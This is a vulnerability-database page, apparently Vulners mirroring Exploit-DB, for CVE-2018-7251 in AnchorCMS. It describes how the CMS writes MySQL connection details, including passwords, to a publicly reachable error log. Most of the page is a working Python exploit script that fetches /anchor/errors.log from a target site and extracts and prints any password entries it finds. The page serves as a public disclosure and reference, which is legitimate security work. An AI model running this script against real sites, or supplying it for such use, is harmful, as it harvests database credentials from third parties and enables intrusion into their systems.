Lucene search

K

AnchorCMS < 0.12.3a - Information Disclosure

🗓️ 03 Oct 2019 00:00:00Reported by Tijme GommersType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 359 Views

AnchorCMS < 0.12.3a - Information Disclosure in Error Log. Malicious users can access the error log containing sensitive MySQL password information

Show more
Related
Code
ReporterTitlePublishedViews
Family
exploitpack
AnchorCMS 0.12.3a - Information Disclosure
3 Oct 201900:00
exploitpack
OSV
Anchor CMS Logs Credentials
13 May 202201:39
osv
OSV
CVE-2018-7251
19 Feb 201822:29
osv
Github Security Blog
Anchor CMS Logs Credentials
13 May 202201:39
github
GitLab Advisory Database
Information Exposure
19 Feb 201800:00
gitlab
NVD
CVE-2018-7251
19 Feb 201822:29
nvd
Packet Storm
Anchor CMS 0.12.3a Information Disclosure
3 Oct 201900:00
packetstorm
Nuclei
Anchor CMS 0.12.3 - Error Log Exposure
9 Jan 202114:45
nuclei
CVE
CVE-2018-7251
19 Feb 201822:29
cve
Cvelist
CVE-2018-7251
19 Feb 201822:00
cvelist
Rows per page
# Exploit Title: Information disclosure (MySQL password) in error log
# Date: 2/10/2019
# Exploit Author: Tijme Gommers (https://twitter.com/finnwea/)
# Vendor Homepage: https://anchorcms.com/
# Software Link: https://github.com/anchorcms/anchor-cms/releases
# Version: 0.12.3a
# Tested on: Linux
# CVE : CVE-2018-7251

# By default, AnchorCMS will log errors to the "/anchor/errors.log" file in the webroot of the web application. This allows malicious users to access the error log and view potentally sensitive information. Sometimes the AnchorCMS error log contains ocurrences of the MySQL error "Can't connect to MySQL server on 'xxx.xxx.xxx.xxx' (111)". When this error occurs the variables of the MySQL connector class are serialized into a JSON object and logged to the error log.

import re
import sys
import importlib


def get_plain(url):
    try:
        plain_result = requests.get(url=url)
        return plain_result
    except:
        return None


def print_usage():
    print('Usage: {0} <url>'.format(__file__))


if __name__ == '__main__':

    # Ensure we have the URL
    if len(sys.argv) != 2:
        print_usage()
        sys.exit(1)

    print("* Using AnchorCMS website: " + sys.argv[1])

    print("* Trying to import 'requests' module")
    requests_loader = importlib.util.find_spec('requests')
    requests_module_found = requests_loader is not None

    if requests_module_found:
        import requests
    else:
        print("* 'requests' module not found, please install it using pip")
        print("* pip install requests")
        sys.exit(1)

    json_url = sys.argv[1].strip("/") + "/anchor/errors.log"
    print("* Trying to get errors.log file at: {}".format(json_url))
    plain_result = get_plain(json_url)

    if plain_result == None:
        print("* URL could not be requested, errors.log is probably not exposed")
        sys.exit(1)

    print("* Found data {}, trying to parse it now".format(plain_result))

    lines = re.findall(r'"line":\d', plain_result.text)

    print("* Found {} error entries".format(len(lines)))

    passwords = re.findall(r'\[([^\[\]]*)"password"([^\[\]]*)\]', plain_result.text)

    print("* Found {} passwords entries".format(len(passwords)))

    for password in passwords:
        print("+ {}".format(password))

Transform Your Security Services

Elevate your offerings with Vulners' advanced Vulnerability Intelligence. Contact us for a demo and discover the difference comprehensive, actionable intelligence can make in your security strategy.

Book a live demo
03 Oct 2019 00:00Current
9.8High risk
Vulners AI Score9.8
CVSS25
CVSS39.8
EPSS0.069
359
.json
Report